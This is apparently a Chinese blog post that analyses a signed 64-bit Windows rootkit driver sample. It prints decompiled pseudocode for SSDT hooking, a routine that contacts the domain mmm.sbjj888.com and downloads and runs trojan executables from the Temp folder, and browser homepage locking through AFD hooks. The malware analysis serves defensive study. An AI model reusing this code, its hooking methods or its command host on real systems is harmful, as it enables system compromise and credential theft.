Nicky_home⛄

Nicky模拟人生.Log

Rootkit病毒样本分析一则

Rootkit

内核后门病毒

​ 对操作系统内核进行劫持,通过隐藏其他病毒进程、注册表、文件相关操作等方式与安全软件进行对抗。Rootkit是一种高明的Hook技术,有多种Hook方式。由dll 注入木马,技术上实现从原本Ring3层的注入,转变到Ring0层的注入。

image-20240923103621335

HOOK

​ 对于Windows系统,它是建立在事件驱动机制上的,整个系统都是通过消息传递实现的。hook(钩子)是一种特殊的消息处理机制,它可以监视系统或者进程中的各种事件消息,截获发往目标窗口的消息并进行处理。所以说,我们可以在系统中自定义钩子,用来监视系统中特定事件的发生,完成特定功能,如屏幕取词,监视日志,截获键盘、鼠标输入等等。
​ 钩子的种类很多,每种钩子可以截获相应的消息,如键盘钩子可以截获键盘消息,外壳钩子可以截取、启动和关闭应用程序的消息等。钩子可以分为线程钩子和系统钩子,线程钩子可以监视指定线程的事件消息,系统钩子监视系统中的所有线程的事件消息。因为系统钩子会影响系统中所有的应用程序,所以钩子函数必须放在独立的动态链接库(DLL) 中。
​ hook(钩子)就是一个Windows消息的拦截机制,可以拦截单个进程的消息(线程钩子),也可以拦截所有进程的消息(系统钩子),也可以对拦截的消息进行自定义的处理。Windows消息带了一些程序有用的信息,比如Mouse类信息,就带有鼠标所在窗体句柄、鼠标位置等信息,拦截了这些消息,就可以做出例如金山词霸一类的屏幕取词功能。

样本信息

File: 973fe1392e8145daf907fad7b4fbacdc.exe
SHA1: 924f6161edf05680f6626184a58a902943c4ef78

filetype: PE64
arch: AMD64
mode: 64
endianess: LE
type: Driver
compiler: Microsoft Visual C/C++(2008 SP1)[-]
linker: Microsoft Linker(9.0)[Driver64,signed]
linker: Microsoft Linker(9.0)[Driver64,signed]

样本分析

start

image-20240923103727057

DriverEntry

image-20240923110025807

sub_11870 确认IO状态

image-20240923110120707

sub_78810 创建病毒设备对象

image-20240923110151521

sub_785B0

image-20240923112739635

sub_786B0

image-20240923112842515

注册一个指定的设备—–>打开一个驱动程序句柄—–>从用户模式的程序中使用内核驱动程序

此样本注册的设备对象是 \Device\93218ec2da92e0af

打开文件句柄的作用

  1. 在用户模式的函数中充当参数
  2. 用于进行IOCTL调用

这些操作会导致生成要在驱动程序中处理的IRP。

SymbolicLink 添加链接符号,便于用户模式的程序打开文件句柄

sub_74670 导入api

image-20240923142330750

sub_736C0() SSDT hook

image-20240923144539918

image-20240923142440509

sub_73340 hook到进程pid

image-20240923142736653

sub_73990();

image-20240923145435457

sub_745F0();

image-20240923145637391

sub_12220 下载并执行盗号木马

image-20240923150340107

StartRoutine

构建DeviceObject 信息 ,利用IoBuildDeviceIoControlRequest函数创建一个IRP信息,并利用IofCallDriver 函数执行处理这个IRP信息,实现隐藏的网络行为即木马下载。

void __fastcall StartRoutine(PVOID StartContext)
{
  strcpy(v1, "mmm.sbjj888.com");
  v2 = 0;
  i = 0;
  v3 = 0LL;
  memset(v8, 0, sizeof(v8));
  v5 = 0;
  v9 = 0;
  v4 = 0;
  v6 = &v4;
  LODWORD(v7) = 0;
  memset((char *)&v7 + 4, 0, 4uLL);
  sub_17990();                                  // 创建配置文件"\\??\\C:\\windows\\twain.ini"
  v7 = MEMORY[0xFFFFF78000000014];
  v9 = MEMORY[0xFFFFF78000000018];
  while ( 1 )
  {
    while ( !(unsigned int)sub_18FD0(v1, "114.114.114.114", &v4)// 检测字符串和网路状态
         && !(unsigned int)sub_18FD0(v1, "8.8.8.8", &v4)
         && !(unsigned int)sub_18FD0(v1, "8.8.4.4", &v4) )
      KeDelayExecutionThread_0(3000);
    if ( (unsigned int)sub_17C30(v4, 20002LL, &v3) )// 尝试连接
      break;
    KeDelayExecutionThread_0(3000);
    if ( v2 > 30 )
    {
      DbgPrint("connot GetDownLoadUrl\n");
      return;
    }
    ++v2;
    if ( run_spy_flag )
      return;
  }
  for ( i = 0; i < *(_DWORD *)(v3 + 8); ++i )
  {
    Source = 0LL;
    memset(&Destination, 0, sizeof(Destination));
    v13 = 0;
    v13 = *(_DWORD *)(v3 + ((__int64)(int)i << 8) + 12);
    DbgPrint("Tag:%x URL: %s\n", v13, (const char *)(v3 + ((__int64)(int)i << 8) + 16));
    if ( (unsigned int)sub_17890(v13) )
    {
      Source = (PCWSTR)sub_11B40(&v9);          // 获取随机数
      Destination.Length = 0;
      Destination.MaximumLength = 512;
      Destination.Buffer = (PWSTR)ExAllocatePool(NonPagedPool, 0x200uLL);
      memset(Destination.Buffer, 0, 0x200uLL);
      RtlAppendUnicodeToString(&Destination, L"\\??\\C:\\WINDOWS\\TEMP\\");// 在临时文件夹创建随机字符串命名的文件
      RtlAppendUnicodeToString(&Destination, Source);
      RtlAppendUnicodeToString(&Destination, L".EXE");
      qmemcpy(v14, &Destination, sizeof(v14));
      if ( (unsigned int)sub_18210(v3 + ((__int64)(int)i << 8) + 16, v14) == 1 )
        goto LABEL_22;
      KeDelayExecutionThread_0(3000);
      qmemcpy(v15, &Destination, sizeof(v15));
      if ( (unsigned int)sub_18210(v3 + ((__int64)(int)i << 8) + 16, v15) == 1
        || (KeDelayExecutionThread_0(3000),//每隔0.3s尝试连接
            qmemcpy(v16, &Destination, sizeof(v16)),
            (unsigned int)sub_18210(v3 + ((__int64)(int)i << 8) + 16, v16) == 1)
        || (KeDelayExecutionThread_0(3000),
            qmemcpy(v17, &Destination, sizeof(v17)),
            (unsigned int)sub_18210(v3 + ((__int64)(int)i << 8) + 16, v17) == 1)
        || (KeDelayExecutionThread_0(3000),
            qmemcpy(v18, &Destination, sizeof(v18)),
            (unsigned int)sub_18210(v3 + ((__int64)(int)i << 8) + 16, v18) == 1) )
      {
LABEL_22:
        v8[v5++] = v13;
        memset(Destination.Buffer, 0, 0x200uLL);
        Destination.Length = 0;
        RtlAppendUnicodeToString(&Destination, L"C:\\WINDOWS\\TEMP\\");
        RtlAppendUnicodeToString(&Destination, Source);
        RtlAppendUnicodeToString(&Destination, L".EXE");
        qmemcpy(v19, &Destination, sizeof(v19));
        sub_74690(v19); // 检测内存空间 释放例程
        ExFreePoolWithTag(Destination.Buffer, 0);
        ExFreePoolWithTag((PVOID)Source, 0);
        KeDelayExecutionThread_0(5000);
        if ( run_spy_flag )
          return;
      }
      else
      {
        ExFreePoolWithTag(Destination.Buffer, 0);
        ExFreePoolWithTag((PVOID)Source, 0);
        DbgPrint("ERROR: DownLoadByUrl\n");
      }
    }
    else
    {
      DbgPrint("need not download\n");
    }
  }
  v2 = 0;
  while ( (unsigned int)sub_17A00(v4, 20002LL, v5, v8) != 1 )
  {
    KeDelayExecutionThread_0(3000);
    if ( v2 > 30 )
    {
      DbgPrint("connot SendSuccessTag\n");
      return;
    }
    ++v2;
    if ( run_spy_flag )
      return;
  }
  sub_17920();                                  // 关闭句柄
}
sub_17990(); 配置文件”\??\C:\windows\twain.ini”

image-20240923150647722

sub_18FD0 检测字符串和网路状态
__int64 __fastcall sub_18FD0(__int64 a1, __int64 a2, __int64 a3)
{
  unsigned int v3; // eax

  v3 = sub_76D40(a2);                           // 字符串检测
  return sub_74DC0(a1, v3, a3);                 // 测试网络状况
}
sub_74DC0 测试网络状况 尝试连接
__int64 __fastcall sub_74DC0(const char *a1, unsigned int a2, __int64 a3)
{
  v10 = 0;
  v9 = 0;
  v7 = 0LL;
  memset((char *)v6 + 2, 0, 0xEuLL);
  v5 = 0LL;
  v4 = 0;
  v8 = 10;
  memset(v11, 0, sizeof(v11));
  v7 = ExAllocatePoolWithTag_0(2LL, 2LL, 17LL);
  LOWORD(v6[0]) = 2;
  v6[1] = sub_74710(a2);
  HIWORD(v6[0]) = 13568;
  v9 = sub_770D0(v7, v6, 16LL);//TCP接入
  if ( v9 >= 0 )
  {
    v10 = sub_74910(a1, (unsigned int)strlen(a1), &v5, &v4);
    if ( v10 >= 0 )
    {
      v9 = sub_77690(v7, v5, v4, 0LL);
      if ( v9 >= 0 )
      {
        v9 = sub_77490(v7, v11, 1024LL, 1LL);
        if ( v9 == 1024 )
          DbgPrint("Status == 1024\n");
        if ( v9 > 0 )
        {
          v10 = sub_74B30(v11, (unsigned int)v9, a3);
          if ( v10 >= 0 )
          {
            return 1LL;
          }
          else
          {
            DbgPrint("ERROR: AnalyzeDnsRespone\n");
            return 0LL;
          }
        }
        else
        {
          DbgPrint("ERROR: recv\n");
          return 0LL;
        }
      }
      else
      {
        DbgPrint("ERROR: send\n");
        return 0LL;
      }
    }
    else
    {
      DbgPrint("ERROR: ConstructDnsPacket\n");
      return 0LL;
    }
  }
  else
  {
    DbgPrint("ERROR: Cannot connect\n");
    return 0LL;
  }
}

sub_14E10() 初始化锁首所需的html文件

__int64 sub_14E10()
{
  unknown_libname_3(&SpinLock);
  sub_13130(&qword_88350);
  return sub_14E40();
}
sub_14E40(); 创建demo html

image-20240923162154809

decode_url(); 解密锁首所需的网址

image-20240923163211319

image-20240923163235755

PsSetLoadImageNotifyRoutine(NotifyRoutine); 创建游览器映像加载和进程回调

image-20240923164142634

image-20240923164207939

sub_12680
void __fastcall sub_12680(struct _UNICODE_STRING *a1, __int64 a2)
{
  Expression.Length = 42;
  Expression.MaximumLength = 44;
  Expression.Buffer = L"*\\APPDATA\\ROAMING\\*.*";
  v8.Length = 42;
  v8.MaximumLength = 44;
  v8.Buffer = L"*\\APPDATA\\ROAMING\\*\\*";
  qmemcpy(v7, qword_78F40, 0xAuLL);
  v6 = 0xC3C000000000B8LL;
  v4 = 0LL;
  v5 = 0;
  if ( FsRtlIsNameInExpression(&Expression, a1, 1u, 0LL) && !FsRtlIsNameInExpression(&v8, a1, 1u, 0LL) )
  {
    v10 = 0LL;
    MemoryDescriptorList = 0LL;
    BaseAddress = 0LL;
    CurrentProcess = IoGetCurrentProcess();
    if ( PsGetProcessWow64Process(CurrentProcess) )
    {
      v4 = (__int64 *)v7;
      v5 = 10;
    }
    else
    {
      v4 = &v6;
      v5 = 8;
    }
    v10 = sub_12510(a2);
    MemoryDescriptorList = (PMDL)sub_125B0(v10, v5, &BaseAddress);
    qmemcpy(BaseAddress, v4, v5);
    if ( MemoryDescriptorList )
    {
      MmUnmapLockedPages(BaseAddress, MemoryDescriptorList);
      MmUnlockPages(MemoryDescriptorList);
      IoFreeMdl(MemoryDescriptorList);
    }
  }
}

KeGetCurrentIrql()

调用KeGetCurrentIrql()函数,该函数返回当前IRQL级别,那么什么是IRQL呢?

Windows中系统中断请求(IRQ)可分为两种,一种外部中断(硬件中断),一种是软件中断(INT3),微软将中断的概念进行了扩展,提出了中断请求级别(IRQL)的概念,其中就规定了32个中断请求级别。

  • 其中0-2级为软中断,顺序由小到大分别是:PASSIVE_LEVEL,APC_LEVEL,DISPATCH_LEVEL
  • 其中27-31为硬中断,顺序由小到大分别是:PROFILE_LEVEL,CLOCK1_LEVEL,CLOCK2_LEVEL,IPI_LEVEL,POWER_LEVEL,HIGH_LEVEL

ObReferenceObjectByName_AFD(Main_lock_logic);执行主要的锁首逻辑

ObReferenceObjectByName_AFD

image-20240923173201139

ObReferenceObjectByName

(1)可以根据驱动名称可以得到PDRIVER_OBJECT,进而得到该驱动的PDEVICE_OBJECT。

(2)根据设备名称取到PDEVICE_OJBECT为0。

(3)根据符号链接名称取到PDEVICE_OJBECT的地址并不是设备对象地址。

Main_lock_logic
char __fastcall sub_77BC0(__int64 a1,unsigned __int8 a2,int *a3,unsigned int a4,__int64 a5,int a6,int a7,__int64 a8,__int64 a9)
{

  v15 = 0;
  v16 = 1;
  CurrentProcess = IoGetCurrentProcess();
  v25 = PsGetProcessWow64Process(CurrentProcess) != 0;
  if ( a7 == (_DWORD)&loc_1201F )
  {
    if ( !a3 )
      goto LABEL_27;
    ProbeForRead(a3, a4, 1u);
    if ( v25 )
    {
      v21 = (int *)*a3;
      if ( !*a3 )
        goto LABEL_27;
      ProbeForRead(v21, 8uLL, 1u);
      v19 = (volatile void *)v21[1];
      v17 = *v21;
    }
    else
    {
      v23 = *(_QWORD **)a3;
      if ( !*(_QWORD *)a3 )
        goto LABEL_27;
      ProbeForRead(v23, 0x10uLL, 1u);
      v19 = (volatile void *)v23[1];
      v17 = *(_DWORD *)v23;
    }
    if ( !v19 || !v17 )
      goto LABEL_27;
    ProbeForRead(v19, v17, 1u);
    if ( (int)sub_13010(v19, v17, qword_7D820, (unsigned int)strlen((const char *)qword_7D820)) >= 0
      || (int)sub_13010(v19, v17, "POST", (unsigned int)strlen("POST")) >= 0 )
    {
      CurrentThreadId = (unsigned int)PsGetCurrentThreadId();
      CurrentProcessId = (unsigned int)PsGetCurrentProcessId();
      sub_78180(v19, v17, CurrentProcessId, CurrentThreadId);
    }
  }
  v16 = 0;
  v15 = qword_59E6C8(a1, a2, a3, a4, a5, a6, a7, a8, a9);
  if ( v15 && a7 == 73751 && a3 )
  {
    ProbeForRead(a3, a4, 1u);
    if ( v25 )
    {
      v22 = (int *)*a3;
      if ( !*a3 )
        goto LABEL_27;
      ProbeForRead(v22, 8uLL, 1u);
      v20 = (volatile void *)v22[1];
      v18 = *v22;
    }
    else
    {
      v24 = *(_QWORD **)a3;
      if ( !*(_QWORD *)a3 )
        goto LABEL_27;
      ProbeForRead(v24, 0x10uLL, 1u);
      v20 = (volatile void *)v24[1];
      v18 = *(_DWORD *)v24;
    }
    if ( v20 )
    {
      if ( v18 )
      {
        ProbeForWrite(v20, v18, 1u);
        if ( (int)sub_13010(v20, v18, "HTTP", (unsigned int)strlen("HTTP")) >= 0 )
        {
          v12 = (unsigned int)PsGetCurrentThreadId();
          v13 = (unsigned int)PsGetCurrentProcessId();
          sub_78300(v20, v18, v13, v12);
        }
      }
    }
  }
LABEL_27:
  if ( v16 )
    return qword_59E6C8(a1, a2, a3, a4, a5, a6, a7, a8, a9);
  return v15;
}
sub_78300

image-20240923174051600

image-20240923174103213

reg_minifilter 注册minifilter

image-20240923174228923

reg_360safemon 注册360safemon线程

image-20240923174422179

sub_11AF0 检查更新以及以上逻辑是否都正确执行

image-20240923174526439

参考和知识补足:

系统调用,从用户态进入系统态(_KiSystemService() _KiFastCallEntry)

https://www.52pojie.cn/thread-1211229-1-1.html

https://www.freebuf.com/articles/system/168650.html

Rootkit的学习与研究

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注